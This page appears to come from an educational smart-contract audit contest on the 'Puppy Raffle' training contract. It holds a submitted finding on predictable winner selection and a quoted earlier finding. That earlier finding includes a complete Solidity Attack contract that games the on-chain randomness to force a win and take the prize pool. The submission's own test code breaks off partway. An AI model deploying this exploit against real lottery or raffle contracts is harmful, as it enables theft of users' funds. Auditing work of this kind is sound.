Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak randomness in PuppyRaffle::selectWinner allows attacker to predict the winner

mistwood

Root + Impact

Description

  • The winner is selected using msg.sender, block.timestamp, and block.difficulty (line 128-129). All three values are known or controllable on-chain, so the result is fully predictable. The same issue affects rarity calculation (line 139).

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
@> msg.sender, block.timestamp, block.difficulty
))) % players.length;

Risk

Likelihood:

  • High — Any user can pre-compute the result off-chain before calling the function.

Impact:

  • High — Attacker can guarantee they win the prize pool and choose when to call selectWinner() to ensure a favorable outcome.

Proof of Concept

  1. An attacker computes the winner index off-chain using the exact same formula with known values (msg.sender, block.timestamp, block.difficulty).

  2. The attacker only calls selectWinner() when the result favors them.

  3. The prediction matches the actual result 100% of the time.

function testWeakRandomness() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

Recommended Mitigation

use Chainlink VRF (Verifiable Random Function) to obtain truly unpredictable random numbers that cannot be manipulated by miners or users.

// Replace on-chain pseudo-randomness with Chainlink VRF
uint256 winnerIndex = randomNumberFromChainlinkVRF % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!